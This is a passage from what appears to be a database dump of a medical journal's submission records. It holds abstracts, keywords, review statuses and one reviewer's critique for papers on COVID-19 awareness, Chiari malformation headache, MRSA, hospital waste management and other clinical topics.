Nowshera\r\n2Assistant Professor Pediatric, MTI Lady Reading Hospital Peshawar\r\n3Medical Gas Supervisor, Qazi Hussain Ahmed Medical Complex Nowshera\r\nAbstract:\r\n\r\nObjectives: To analyze healthcare workers approach to COVID-19 through binary classification and regression analysis on 13 different variables vs three dichotomous variables (age, gender and education levels).\r\nMaterial and methods: A quantitative cross-sectional research design was utilized in March, 2020. A total of 158 of the respondents were assessed for their knowledge attitude and approaches towards Corona Virus infection. Relevant information’s were collected on a pre-designed Performa prepared in accordance with the objectives of the study. Data was entered in SPSS version 25th for descriptive and regression analysis to determine the trend of healthcare providers towards COVID-19.\r\nResults: Eighty one(51.3%) were males and 77(48.7%) females. The age range of our respondent was from 20 to 50 years. The distribution on basis of education were; 57(36.1%) medical students, 33(20.9%) General practitioners, 29 (18.6%) Bachelor, 24(15.2%) Master/M.Phil and 11(7%) with fellowships. We observed a significant difference  in male gender (vs female gender) regarding; knowledge of outbreak (p=0.002,OR: 7.2), knowledge about the biology of 2019-nCoV(p=0.07,OR: 3.37), worries about the shortage of food and  health issues in lock down situation(p=0.005,OR: 4.1) and confidence level  in this crucial time (p=0.07,OR: 4.2). Taking education as dichotomous variable (Medical s vs non medical/ undergraduate), we observed a significant difference regarding; treatment approach (p=0.001), denial of biological war (p=0.001) and in the opinion that government should provide food and health facility in lock down to the incumbents (p=0.001). A significant difference in opinion was noted in age group>30 years & <30 years regarding; food shortage in lockdown (p=0.005, OR: 4.1) and level of confidence to fight 2019-nCoV (p=0.07, OR: 4.2).\r\nConclusion: We concluded that in female gender the trend is lower regarding knowledge of outbreak and biology of COVID-19 and are more worried about the shortage of food in case of lockdown. The approach towards precautionary measures and treatment and denial of misconception like biological war, is more in educated group with achieved medical qualification. \r\n',' Key words: COVID-19, Knowledge and Attitude, Regression Analysis\r\n',778,NULL,'2020-03-29',NULL,'Submitted',4,NULL,'2020-05-26',NULL,1,0,'1',NULL,0,NULL,NULL,2,0,0,0,NULL,0),(3682,4815,73,0,'ipjnn-20-3682','Headache Associated with Chiari Malformation Type One ',NULL,14,0,NULL,'Background:\r\nPatients with chiari malformation type one ( CM -1 ) headache may be mistaken by chronic migraines or other causes of headache, so analysis of headache related to CM-1 is corner stone in early diagnosis of the disease.\r\nOBJECTIVE: \r\nThe purpose of this study was to assess the frequency and clinical characteristics of headache in the patients with CM-1 to help primary care clinicians better understand the relationship between an individual\'s presenting symptoms of CM1. 1 so aiding for early diagnosis and early management and for better outcome.\r\nMETHODS: \r\nThis was prospective observational analytical study carried out in Khartoum state hospitals that provide neurosurgical services, (NCNS, Neurospine Center-Ribat Teaching Hospital, Military Hospital, and Omdurman Teaching Hospital)  from February 2018- September  2019.\r\nStudy was included 18 adult males and females of different ages diagnosed with Chiari MF -1 who undergoing decompressive surgery.\r\nSymptomatic patients diagnosed with Chiari MF -1Patients with no history of neurological illnesses or history of cranial surgery were included.\r\nPatients with history of any neurological diseases such as multiple sclerosis and with other causes of headache were excluded from  the study.\r\nEvaluation and full analysis of headache were registered including type of headache, site, duration headache, time lasting, radiation of pain, severity using headache scale, associated ocular and visual symptoms. \r\nRESULTS: \r\nThis study included 18 patients diagnosed with chiari 1 malformation and suffering from headache related to chiari 1 malformation. Full analysis of the headache was obtained. The headache was mostly in the back of the head (n=17/18 , 94.4%) and only in (n=1/18, 5.6%), the headache was in the sides or front of the head. In 12 patients (n=12/18 , 66.7%) headache worsen by bending forward.  And in 6 patients (n=6/18 , 33.3%) worsen by cough. Regarding the type of headache, mostly pressure in nature (n=17/18 , 94.4%) and it was  rarely  throbbing in nature(n=1/18, 5.6%),. All patients were asked to evaluate their headache in headache scale from 1 to 10 (10 more severe). The scale ranged between 5 and 9 with mean 6.88. headache could be long or short lasting (from hours to days).Eye symptoms included blurring of vision complained by 9 patients(n=9/18, 50%), light sensitivity in 5 patients ((n=5/18, 27.8%), and 6 patients (n=6/18 , 33.3%) there were no eye symptoms. Neck pain was a dominant symptom seen in 17 patients (n=17/18, 94.4%) , and back pain in 18 patients (n=18/18 , 100%) . headache subsided after decompression surgery in all patients included in this study. \r\nCONCLUSIONS: \r\nKnowledge and understanding the CM-1 headache characters are important for early diagnosis and early treatment of the disease.\r\n\r\n',' Chiari malformation , CM-1, Headache, occipital headache, neck pain',334,NULL,'2020-03-30',NULL,'Submitted',4,NULL,'2020-06-06',NULL,1,1,'0','revise',0,NULL,NULL,3,0,0,0,NULL,0),(3687,4821,45,0,'iphsj-20-3687','Synopsis on Novel Coronavirus Disease (COVID-19)',NULL,2,0,NULL,'Coronavirus disease (COVID-19) is an infectious disease caused by a new virus. Symptoms such as cough, fever, and more severe cases include respiratory illness (flu-like). The World Health Organization (WHO) has announced a global pandemic about the new coronavirus, which has spread to at least 217 countries and territories known as COVID-19. Of those, more than 18892 died and 422614 infected. This article contains a short overview of the coronavirus and its affected countries. There is also a short analysis of the Coronavirus. Finally, Corona has tried to figure out how to prevent the virus.',' Pandemic, COVID-19, Corona, Disease, ',643,NULL,'2020-03-31',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3696,4834,277,0,'ipadm-20-3696','El IMPACTO DE LA INFECCIÓN POR HELICOBACTER PYLORI EN LA ENFERMEDAD CEREBROVASCULAR ',NULL,5,0,NULL,'El Helicobacter pylori es una bacteria gramnegativa unipolar que se ha relacionado con alteraciones gástricas secundarias a las modificaciones que ejercen sus enzimas en el pH gástrico. La estimulación inflamatoria crónica debida a la infección bacteriana en el intestino y los órganos gástricos, produce más inducción de dislipidemia, aumenta los niveles de fibrinógeno, estimula la liberación de proteína C reactiva e induce un estado de hipercoagulabilidad, que afecta la motilidad de los vasos sanguíneos  y provoca disfunciones endoteliales. Lo anterior, aumenta las probabilidades de oclusión arterial y por ende el riesgo de eventos cardiovasculares. Incluso algunos estudios reportan aumento en el riesgo de enfermedad cerebrovascular en los pacientes con infección crónica por h. pylori. Por lo tanto, surge el interrogante del impacto de la erradicación de h.pylori para la prevención de complicaciones cardiocerebrales.',' ',2805,NULL,'2020-04-02',NULL,'Submitted',2,NULL,'2020-05-22',NULL,1,1,'1','Accepted for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(3698,4837,277,0,'ipadm-20-3698','Síndrome de Hiperuricemia: una perspectiva fisiopatológica integrada',NULL,15,0,NULL,'El síndrome hiperuricémico es relativamente común en el ser humano, ya que afecta a casi una cuarta parte de la población, con una predominancia en los varones de 3 a 4 veces respecto a las mujeres premenopáusicas. La gran mayoría de los pacientes con hiperuricemia (>90%) solo muestran este hallazgo sin evidencia de sintomatología; sin embargo, el resto sí adolece de algún cuadro clínico, siendo el más frecuente la Gota. El metabolismo del ácido úrico es complejo, lo que ocasiona su involucro en otras afecciones, ya sea directa o indirectamente, ya sea como consecuencia o como causa de los mismos. En este trabajo hicimos una integración conceptual entre las bases etiológicas, fisiopatogénicas y clínicas de este síndrome.',' hyperuricemia, physiopathology',2805,NULL,'2020-04-02',NULL,'Submitted',2,NULL,'2020-05-22',NULL,1,1,'0','Accepted for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(3701,4842,86,0,'ipaom-20-3701',' An overview of COVID-19 treatment method and their adverse effects  ',NULL,15,0,NULL,'Coronaviruses are a group of viruses that can cause illness in mammals and birds. An acute respiratory disease, caused by a novel coronavirus, has spread throughout China and received worldwide attention. As of 1 April 2020, a total of 912,307 confirmed cases globally, 81,554 confirmed in China and 830,753 outside of China, with 45,541 deaths (4.99%) had been reported by WHO. Those who are infected with COVID-19 may have little to no symptoms. You may not know you have symptoms of COVID-19 because they are similar to a cold or flu. Symptoms may take up to 14 days to appear after exposure to COVID-19. This is the longest known incubation period for this disease. Symptoms have included: cough, fever, pneumonia in both lungs and a small population of patients appeared gastrointestinal infection symptoms.\r\n	\r\nCOVID-19 can be diagnosed similarly to other conditions caused by viral infections: using a blood, saliva, or tissue sample. However, most tests use a cotton swab to retrieve a sample from the inside of your nostrils. Positive CRP and Lymphopenia is a common feature in the patients withCOVID-19 and might be a critical factor associated with disease severity and mortality. X-ray images showed a rapid progression of pneumonia. results imply that over activation of T cells ,manifested by increase of Th17 and high cytotoxicity of CD8 T cells, accounts for, in part, the severe immune injury in this patient. The purpose of this study is to summarized the articles which are published as of late march 2020 on the clinical treatments, symptoms, and medications adverse effect.',' ',3031,NULL,'2020-04-02',NULL,'Submitted',4,NULL,'2020-06-11',NULL,1,1,'0','Send for revision',0,NULL,NULL,4,0,0,0,NULL,0),(3703,4844,251,0,NULL,'Characterization of methicillin resistant Staphylococcus aureus (MRSA) isolates using oxacillin-cefoxitin disk diffusion test (OCDDT)',NULL,14,0,NULL,'Introduction: Methicillin-resistant Staphylococcus aureus (MRSA) still remains an important nosocomial and community-acquired pathogen because of its multidrug resistant nature which gives them the innate/acquired ability to evade the onslaught of antibiotics. MRSA infection now occurs globally; and it is important to be on the lookout for these resistant pathogens in clinical samples in order to effectively guide therapy for patients.\r\nObjective: This study was aimed at evaluating the frequency of MRSA strains from urine samples of out-going patients in a tertiary hospital using oxacillin-cefoxitin disk diffusion test (OCDDT). \r\nMaterials and methods: In this study, a total of thirty nine (39) non-duplicate isolates of S. aureus from urine samples of out-going patients who attended a tertiary hospital in Abakaliki, Nigeria for medical attention was bacteriologically investigated for methicillin resistance. All the S. aureus isolates was re-characterized using standard microbiology techniques. The modified Kirby-Bauer disk diffusion technique was used to evaluate the antibiogram of the S. aureus clinical isolates while MRSA positive isolates was phenotypically confirmed using the oxacillin-cefoxitin disk diffusion technique (OCDDT). Multiple antibiotic resistance index (MARI) was used to calculate the multidrug resistant nature of the MRSA positive S. aureus isolates.  \r\nResults: Our result shows that the S. aureus isolates showed varying rates of susceptibility and resistance to the tested antibiotics which are usually used in hospitals for treating infections caused by the organism. The S. aureus isolates was highly resistant or intermediately resistant to cefoxitin (56.4 %), bacitracin (89.7 %), oxacillin (89.7 %), and mupirocin (71.7 %). Clindamycin which is usually used for the treatment of S. aureus infections had no inhibitory activity on the S. aureus isolates evaluated in this study. Out of the 39 isolates of S. aureus, the detection of MRSA positive isolates was recorded at 35.8 % (n=14). All the MRSA positive isolates had MARI of 0.5 on average; and this indicates the multiple antibiotic resistance nature of the MRSA positive isolates recovered in this study. Conclusively, this study has presumptively shown that S. aureus isolates of clinical origin in this region are methicillin resistant. Further studies are required to characterize the genetic factors of the MRSA isolates. The worldwide problem of antibiotic resistance especially those caused by MRSA isolates warrants the need for accurate and prompt detection of MRSA from clinically important samples in order to ensure proper antibiotic therapy in infected individuals as well as to stop any disease outbreak that may be due to them. \r\n',' MRSA, Staphylococcus aureus, Antimicrobial Resistance, Gram positive bacteria, Nigeria',783,NULL,'2020-04-03',NULL,'Submitted',4,NULL,'2020-05-26',NULL,1,0,'1',NULL,0,NULL,NULL,4,0,0,0,NULL,0),(3708,4854,326,0,'IPJUS-20-3708','Evisceration of Small Intestine through the Vagina: A Rare Surgical Cause of Acute Intestinal Obstruction.',NULL,2,0,NULL,'In emergency surgical admissions, acute bowel obstruction is a very common problem. The causes of bowel obstruction are numerous but the most frequently identified are adhesions and post-operative bands, hernias, tumours and congenital bands. Evisceration of the small intestine through the vagina is a rare surgical emergency that requires urgent surgery because of the risk of developing acute small bowel obstruction and ischemia. We report a very rare and unusual case of an acute abdomen with bowel obstruction in a 70-year-old non-hysterectomized woman, with the majority of the small bowel visible outside the vagina, who has become strangulated and gangrenous. An exploratory laparotomy was performed urgently with resection and anastomosis of the small bowel and closure of the breach in the Douglas pouch. Multiple approaches to surgical management have been described, including laparoscopy, laparotomy, transvaginal route, and combined approaches. Perineal hernia should be considered in the differential diagnosis in elderly post-hysterectomy patients with sudden onset of abdominal pain where urgent surgical intervention is advised.',' Surgical emergency, acute bowel obstruction, trans vaginal evisceration, resection and anastomosis, breach in the Douglas pouch.',2505,NULL,'2020-04-03',NULL,'Submitted',2,NULL,'2020-06-05',NULL,1,1,'0','This manuscript is accepted for further processing and publication.',0,NULL,NULL,NULL,0,0,0,NULL,0),(3713,4868,86,0,'ipaom-20-3713','A case report on metformin and insulin induced hypoglycemia',NULL,2,0,NULL,'Metformin is a biguanide anti-hyperglycaemic drug which is the most \r\ncommonly prescribed oral agent to treat diabetes mellitus. Metformin work by decreasing \r\nhepatic glucose production, decrease GI glucose absorption, increase target cell insulin \r\nsensitivity. Insulin is the hormone produced by the pancreas that controls the levels of glucose \r\nor sugar in blood. Drug-induced low blood sugar is low blood glucose that results from taking \r\nmedicine. This is a case report of 78 years old male patient who was admitted in surgical ward \r\nwith a chief complaint of raw area over right forearm since 30 days and now he is diagnosed \r\nas Diabetic cellulitis of right upper limb. Before the diagnosis of diabetic cellulitis the patient \r\nwas on Metformin+ glibenclamide therapy. After the diagnosis, the physician prescribed \r\nmetformin along with human mixtard. Surgery was done for cellulitis of right forearm and \r\nagain he is prescribed with human mixtrad for 10 days due to which FBS levels dropped. On \r\n11th of post- surgical treatment, he is prescribed with metformin and Inj. Insulin and as a result \r\nFBS levels reached less than normal range. We conclude that ADR might have been possible \r\nwith same dynamic activity medication duplication therapy of insulin and human mixtard and \r\nalso due to the combination therapy of metformin and insulin. We should monitor the \r\nprescription always with drug relevant problems (DRP’s) to avoid drug induced complications \r\nin a patient.',' Hypoglycaemia, metformin, insulin, adverse drug reaction.',2890,NULL,'2020-04-05',NULL,'Submitted',2,NULL,'2020-05-20',NULL,1,1,'0','Accept for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(3722,4881,86,0,'ipaom-20-3722','Therapeutic role of Arsenic Trioxide in cancer protection',NULL,15,0,NULL,'The growing frame of Arsenic is a significant public health concern now a days. Although arsenic is a well known carcinogen which leads to the induction of different types of cancers, it also been recently recommended as one of the most effectual novel anticancer agent for the treatment of various types of cancer including acute promyelocytic leukaemia (APL). However the exact metabolic mechanism induces due to arsenic and its compounds are still a question to be answer. The revival of this metalloid in treating APL is a unique storey in cancer therapy. Based on these facts, Here we focused the effect of arsenic trioxide alone or its combination with other existing supplements in different types of cancer, and these strategies may enlightening in near future with respect to precious uses of arsenicals as medicines for treating cancer.  Along with this it also requires to understand how arsenic emphasizes its toxic effects and how its implication leads to novel therapeutic advances. Hence there is an urgent need for better understanding of paradoxical effect of arsenic which may have a potential to become an appropriate treatment of various types of malignancies.  Making concern in the area, in this review we focused its targeted pathways which would be helpful in shedding light on its actual role in relation to toxicity as well as in potential drug. ',' Arsenic;Acute Promyelocytic leukaemia (APL).',3081,NULL,'2020-04-06',NULL,'Submitted',2,NULL,'2020-07-07',NULL,1,1,'0','Accept for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(3723,4883,639,0,'ipfs-20-3723','Short Term Survival and Tag Retention of Gizzard Shad Implanted with Dummy Transmitters',NULL,14,0,NULL,'Little is known about Gizzard Shad Dorosoma cepedianum life history and habitat use near the far northern edge of their native range. In 2016, the South Dakota Department of Game, Fish, and Parks aspired to implement an acoustic telemetry study to take a more in-depth look at Gizzard Shad movements and habitat use. However, adult Gizzard Shad have never been surgically implanted with telemetry tags. The objectives of this study were to determine if Gizzard Shad can survive surgery and handling, assess short-term survival and tag retention after surgery and determine what factors affect survival of tagged adult Gizzard Shad. Forty adult Gizzard Shad were surgically implanted with Vemco V13 dummy tags and 40 control fish were placed in a floating net pen. Survival of control fish averaged 90% and survival of tagged fish averaged 88% during the study. With a relatively small sample size, we failed to detect a significant difference in survival of control or tagged fish. Short-term tag retention was high, with only one fish expelling a tag during the study. Survival of tagged Gizzard Shad increased with increasing water temperature at time of capture. Our results suggest Gizzard Shad appear suitable for surgical implantation of telemetry tags. The influence of warmer water temperatures on survival rates of Gizzard Shad indicates the importance of considering life history information when designing and implementing future tagging studies.','Gizzard shad, telemetry, surgical implantation, survival, tag retention ',1774,NULL,'2020-04-06',NULL,'Submitted',2,NULL,'2020-06-12',NULL,1,1,'0','I accept to publish this article ',0,NULL,NULL,NULL,0,0,0,NULL,0),(3728,4891,326,0,'IPJUS-20-3728','Evaluation of  Multislice- CT compared with Ultrasound Abdomen and Pelvis in Diagnosis of Acute Appendicitis in Female of Reproductive Age',NULL,14,0,NULL,'Appendicitis is one of the commonest causes of the acute abdominal pain and most frequent causes for an urgent abdominal surgical operation. \r\nRecently, it is clarified that the appendix may have an immune-protective function and working as a lymphoid organ especially in young age. \r\nOther theories claimed that appendix work as a storage for \"good\" colonic bacteria. Moreover, others theories claimed that it is a just developmental remnant and without function.\r\nThe present investigation was done between March 2016 and July 2019, and including 60 female patients in reproductive age who clinically suspected as acute appendicitis with Alvarado score. Then, the female patients were divided to 2 groups; Group A, including 30 patients, the primary diagnosis based on Alvarado score with pelviabdominal sonography and group B, including 30 patients, the primary diagnosis of acute appendicitis depend up on Alvarado score and multislice pelviabdominal CT. All patients in the 2 groups were complaining from acute rt lower abdominal pain with Alvarado score more than 3. All patients in the 2 groups diagnosed of acute appendicitis were managed by open appendicectomy. Postoperative final results were depended on the histopathological evaluations of the samples.  \r\nMultislice pelviabdominal CT play an important role in diagnosis of acute appendicitis in female patients and it is more sensitive and specific than the modified Alvarado score plus US abdomen and pelvis. CT abdomen and pelvis rule out other pelvic pathology, and so lowering the high rates of -ve appendicectomy and increase accuracy of final diagnosis of acute appendicitis.','Acute appendicitis, Alvarado Score, US and Multislice-CT abdomen &pelvis, Open appendectomy',3103,NULL,'2020-04-07',NULL,'Submitted',2,NULL,'2020-04-30',NULL,1,1,'0','This manuscript is accepted for publication.',0,NULL,NULL,NULL,0,0,0,NULL,0),(3733,4903,86,0,'ipaom-20-3733','systemic lupus erythematosus associated chorea treated successfully with Rituximab case report',NULL,2,0,NULL,'Chorea is a Movement disorder well known to be a rare clinical manifestation of systemic lupus erythematosus (SLE) and primary or secondary Antiphospholipid syndrome (APS ). However, there are no clear guidlines in the literature about the treatment of lupus chorea. we are lacking the standard care to approach such presentation. Here we describe a case of a young female patient with systemic lupus erythematosus associated with positive antiphospholipid antibodies , who presented with recurrent episodes of chorea and was initially treated symptomatically. But because of the repeated attacks of chorea , the patient was successfully treated with Rituximab.','1- unusual treatment for an unusual finding of Systemic lupus erythematosus . \r\n2- the lacking of the standard care to approach such presentation.',2890,NULL,'2020-04-08',NULL,'Submitted',4,NULL,'2020-04-11',NULL,1,1,'0',NULL,0,NULL,NULL,1,0,0,0,NULL,0),(3741,4854,326,0,'IPJUS-20-3741','Cystic Duct Lithiasis Post-Cholecystectomy a Singular Etiology Leading to Recurrent Acute Pancreatitis.',NULL,2,0,NULL,'Recurrent acute pancreatitis is a disease that manifests itself as two or more documented attacks of acute pancreatitis with an interval of at least three months between the first and second outbreak. .The most common etiologies of acute pancreatitis (AP) and recurrent acute pancreatitis (RAP) are dominated essentially by gallstones and ethylism. We present a very unusual case of RAP in a 71 year old patient who was cholecystectomized in 1984 but who had to regularly attend the emergency room for abdominal pain without identifying the precise diagnosis. Endoscopic ultrasound was of great help and allowed the diagnosis to be made. It is a cystic duct lithiasis. An Endoscopic Sphincterotomy (ES) was performed to prevent a new recurrence of pancreatitis','Acute recurrent pancretitis, cystic duct lithiasis, Post cholecystectomy, Endoscopic ultrasound, Endoscopic Sphincterotomy',2505,NULL,'2020-04-09',NULL,'Submitted',2,NULL,'2020-06-05',NULL,1,1,'1','This manuscript is accepted for further processing and publication.',0,NULL,NULL,NULL,0,0,0,NULL,0),(3753,4929,85,0,'iphspr-20-3753','Proper Hospital Waste Management for the Protection of Human Health and Environment: A Review',NULL,15,0,NULL,'The present review paper sensitizes the reader about improper waste management and their adverse impacts on human health and environment. Furthermore, it highlights the proper hospital waste management [HWM] practices/methods step-by-step in order to protect the life from future threats/harms. Hospitals are the places where the sick and injured people are treated but at the same time it is also a source of both hazardous [Infectious waste, pathological waste, chemical waste] and non-hazardous wastes [Cardboards, paper, Packaging materials]. In this paper HWM is discussed in detail along with all the steps that are necessary for the proper HWM. Hospital waste management methods and processes may be differ from hospital to hospital and country to country. Waste generated from hospitals can be hazardous, toxic and even lethal because of their high potential for diseases transmission. Mismanagement of these wastes can result in environmental and human health related risks. Proper collection, segregation and separation of the Hospital waste at a source is very essential step towards mitigating environmental and health risks and minimizing the overall cost of the HWM in order to take the world towards sustainable management of such harmful wastes.','Hospital waste; Waste management; Technology; Human health; Environment; Color coding',2141,NULL,'2020-04-10',NULL,'Submitted',2,NULL,'2020-05-20',NULL,1,1,'0',' ',0,NULL,NULL,NULL,0,0,0,NULL,0),(3755,4931,85,0,'iphspr-20-3755','More than half of health professionals working in peripheral areas of Southeast Ethiopia are intended to leave their work',NULL,14,0,NULL,'Background: In addition to disastrous shortage of health professionals in developing countries, turnover is very detrimental and costly for the country as well as to different organizations. Intention to leave is an immediate sign of employee’s turnover. It is among the most pressing problems of health system of developing countries. However, intention to leave and its determinants were not well known in Ethiopia especially in peripheral areas. \r\nObjective: The aim of this study was to assess the magnitude of intention to leave their current job and associated factors among health professionals working in Guji zone public health centers. \r\nMethods: Facility based cross-sectional study was conducted among 262 health professional working in Guji zone, Southeast Ethiopia from August 13, to September 02Ö° 2018. Intention to leave was measured with intention to leave scale tools with five-point Likert scales items. Data were analyzed using SPSS version 20 software. Both simple and multiple logistic regression models were fit to identify factors associated with intention to leave.  Statistical significant association was declared at p-value less than 0.05 and 95% confidence interval. Strength of association was measured through adjusted odd ratio.\r\nResults: two hundred fifty-six (97.7%) respondents participated in the study; out of this 140(54.7%) have an intention to leave the primary health center they are working in. As a predictor intention to leave;looking for high salary (AOR=3.3, 95% CI: (1.69, 6.47), P<.000), higher education opportunity (AOR=0.45, 95%CI: (0.245, .824), P<0.02) and dissatisfaction about the availability of drugs (AOR=0.49, 95% CI: (0.294, 0.824) were significantly associated.\r\nConclusion: The overall intention to leave among health professionals was in highestproportion (54.7).Decision makers are supposed to focus increasing educational opportunities, financial and non-financial benefits, and equipping health centers with necessary materials and drugs to minimizing intention to leave.','Intention to leave; Health professionals;Public primary health Centers; peripheral area;Guji zone, Ethiopia.',3404,NULL,'2020-04-10',NULL,'Submitted',2,NULL,'2020-08-03',NULL,1,1,'0','Evaluations\r\nI would like to applause the authors participated in this very significant research topic. I am sure this research work would serve as a good source of information for policy and decision makers and soon-to-be researchers interested to undertake similar study on intention to leave or turnover among health professionals of developing countries. Overall, it is a well-articulated, properly outlined and consistent from the beginning to the end.  The objectives are well addressed. I might have minor feedback on the following sections. \r\nTitle of the study\r\nTitle of the article should be summary or a mini-abstract of what was presented in the whole body of the paper. However, in this study authors have tried to give title of their article based on the one major finding of the study, which is not comprehensive and self-explanatory. Suggested title: Intention to leave current work and associated factors among health professionals of public health centers of Gujii Zone, Southeast Ethiopia.  \r\nAbstract\r\nIn this section, authors should check grammatical and some editorial problems in result section like to be consistent on the way they wrote factors associated with outcome variable. For some factors, they wrote AOR, 95%CI and P-value but for others only AOR and 95%CI. In addition, they have to list all that factors associated with intention to leave. For instance, they did not include work experience in this part. Conclusion of the study should be very informative as they did in the main body of the paper.\r\nMethod and Materials\r\nIn the study setting and design: there is sentence that was stated in such way “There are a total of 659 health professionals and totally there were 1155 health workforce working in public primary health centers”, which is not clear for readers. How many health professionals are there in the health centers? Are they 659 or 1155 in number?\r\nIn list of variables: It would be better to change the layout of variables to make it attractive. In independent variables: what is the difference between pulling factors and pushing factors? Are these variables are mutually exclusive? In pulling factors; there are salary and educational opportunity and the same variables are also listed in pushing variables. I suggest authors to address this issue appropriately. \r\nIn operational definitions: Authors stated that they have calculated mean value to dichotomize intention  to leave and job satisfaction. However, they did not put the mean values of those variables and even they did not tell us the way they have calculated the mean score of each variable.  I commend authors to write the mean value of each variable and clarify the way they did it.   \r\nIn data collection: One thing, it would be better to write sample size determination and data collection procedure in separate section. Authors should also need to describe all necessary assumptions that are helpful to calculate sample size. \r\nThe sampling procedure for this study was stratified random sampling as stated in this section though the findings of this study were not presented according to per strata (urban and rural). As well known, the assumption behind stratified random sampling is that there is difference between the two strata on the outcome of interest (i.e. intention  to leave). So better to appreciate this difference in the result section. Selecting 262 study participants through lottery method is cumbersome. Do not you think? Please tell us, how did you manage this in the fieldwork?\r\nResults\r\nToo many descriptions for one variable. Age was explained in terms of mean, media and range. What is importance describing one variable repeatedly?  Authors used such abbreviations “(ᙾSD_ 4.46) and SD” without any description. What do these abbreviations stands for? In table 1: some variables were presented without unit of measurement (total work experience, service year in the current health facility and salary). On the category of profession, authors wrote certificate as one professional category. Is there such kind of profession? \r\nUnder health professionals intention to leave section, for paragraph 1 and 2, there is no supported by table or figure from where readers can refer what were presented as major findings as well as those that are left unpresented. I recommend authors to add table or figure to make it more informative for their readers. \r\nIn table 2: the second column in table is not self-explanatory ……. “Intention to leave (%)” and improve this. \r\nIn the reasons intention to leave section: All sub-headings (personal factors, push factors, pull factors and job satisfactions) are not supported by appropriate tables or figures to refer from. In addition, denominator to calculate percent for each variable is not described or unknown due to absence of supportive table. I advise authors to improve this and make their presentation understandable. \r\n In the section of factors associated with health professionals’ intention to leave: some of variables are not self-explanatory as presented in the table of supplementary file. For example, it is difficult to say agree or disagree for variable written like this “Career advancement opportunity” in table. Authors should revise those variables to make them flawless. \r\nIn table 3: Authors should use the same font style consistently throughout document. What does mean incentive is good or poor?\r\nDiscussion\r\nIn this section, there are Authors should focus on their pertinent findings and make comparison with others work and then should provide plausible scientific explanations for observed similarity or difference.  \r\nOverall, the paper also needs some language, grammatical and formatting edits in the results and discussion sections.\r\nReference\r\nSome reference are not well written as per standard. For instance, check references listed from 20-24, #26 and #29. \r\n\r\n',0,NULL,NULL,1,0,0,0,NULL,0),(3771,4939,277,0,'ipadm-20-3771','PORFIRIA INTERMITENTE AGUDA: UNA PATOLOGÍA A SOSPECHAR. ',NULL,5,0,NULL,'Las porfirias son un grupo heterogéneo de desórdenes metabólicos que se encuentran clasificados dentro del grupo de enfermedades huérfanas. La crisis porfírica es frecuentemente precipitada por fármacos porfiriogénicos, estrés, factores ambientales, ingesta calórica reducida, consumo de grandes cantidades de alcohol, abuso de nicotina, t, infecciones, trauma quirúrgico, entre otros. Los pacientes generalmente acuden por síntomas neuroviscerales. El dolor abdominal constituye el primer síntoma  de los pacientes; se caracteriza por ser intenso, constante y mal localizado. El diagnóstico debe ser rápidamente confirmado con la demostración del exceso de porfirinas en orina. ',' Porfiria aguda, sintomas, signos, dolor abdominal, diagnostico.',2805,NULL,'2020-04-11',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3775,4944,971,0,'ipaclr-20-3775','RARE CASE OF PLEURAL NEUROFIBROMA WITH    NEUROFIBROMATOSIS 1',NULL,2,0,NULL,'Primary localised pleural neoplasms are a rare group of thoracic tumours, with solitary fibrous tumor representing the most frequently encountered entity. A case of neurofibroma involving pleura in a known case of NF1 is described in this case report. A localised well defined pleural based  nodular lesions were identified in the left upper lobe and bilateral apical lobes on CECT. Histologically tumor is composed of benign spindle cells in a loose collagenous matrix. Immunhistochemistry showed positivity for S100.\r\n\r\n',' Neurofibroma, pleura, S100.',3249,NULL,'2020-04-12',NULL,'Submitted',4,NULL,'2020-04-22',NULL,1,1,'0',NULL,0,NULL,NULL,1,0,0,0,NULL,0),(3777,4945,86,0,'ipaom-20-3777','Assessing the Level of Awareness and knowledge of Covid 19 pandemic among Syrians',NULL,14,0,NULL,'This study was conducted through a valid and reliable questionnaire including sociodemographic and COVID 19 knowledge data. This study investigates the level of awareness about COVID 19. This research aimed to assess the current level of awareness towards COVID 19 among Syrians through a well-designed questionnaire. Data were collected online from a sample of 400 respondents. The main objectives of this study were to study the awareness of Syrian people about the knowledge of information about COVID 19 and protection methods. The major findings of this study are that mostly people do have not awareness about COVID 19, transmission and prevention methods. Results: The majority of the participants showed generally moderate knowledge about COVID 19. Age, education, level of education and occupation were the only significant factors that improved the level awareness. Groups of respondents of age 35-50 years , college graduates , medical professions and income over than 300,000 Syrian Pounds showed high level of knowledge and awareness of COVID 19 whereas low income and low education level respondents showed the opposite. Conclusion:  Empowering public information regarding the epidemiology of the COVID 19 is needed. Medical profession respondents can be helpful in educating other groups and they can communicate with health care providers in order to control COVID 19 outbreak.',' Knowledge; Awareness .Novel Coronavirus .COVID 19',3386,NULL,'2020-04-12',NULL,'Submitted',2,NULL,'2020-05-20',NULL,1,1,'0','Accept for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(3780,4952,45,0,'iphsj-20-3780','What is known, Origin, and impact of COVID-19; A of Review of current literature',NULL,15,0,NULL,'Abstract\r\nBackground: The coronavirus disease, COVID-19 has first emerged in Wuhan Hubie province, China where the sea-based food is sold. Now it is a pandemic affecting a global economy and the pertaining information is still under investigation. \r\nObjective: Summarizing the COVID-19 and its major impact.\r\nMethods:  Review of different literature until the date of the submission of this paper.\r\nConclusion and recommendations: The COVID-19 is causing shock to the world and costing lives. As there is no known vaccine and treatment, everyone should adhere to strict preventive strategies. Stay home, stay safe, and alive.\r\n','Corona virus; COVID-19; Pandemic',643,NULL,'2020-04-12',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(3785,4820,45,0,'iphsj-20-3785','The Effect Combination of Music, Humorous, And Prayer Therapy Toward Blood Pressure: True experimental Study',NULL,14,0,NULL,'Aim: To identify the effective combination of music, humorous, and prayer therapy on blood pressure.\r\nBackground: Uncontrolled hypertension can lead to heart disease, kidney disease, and stroke. Hence, it needs therapy. There are complementary therapies that can reduce high blood pressure. Music provides a relaxing effect so that blood vessel dilates and blood pressure drops. Humorous therapy can provide a relaxation response and decrease blood pressure. Prayer therapy has a positive effect on body physiology that can lower blood pressure.\r\nMethods: This study with true experiment pre and post control group design. The samples size in this study were 131 respondents with primary hypertension on the elderly in Banyumas Regency. The sampling 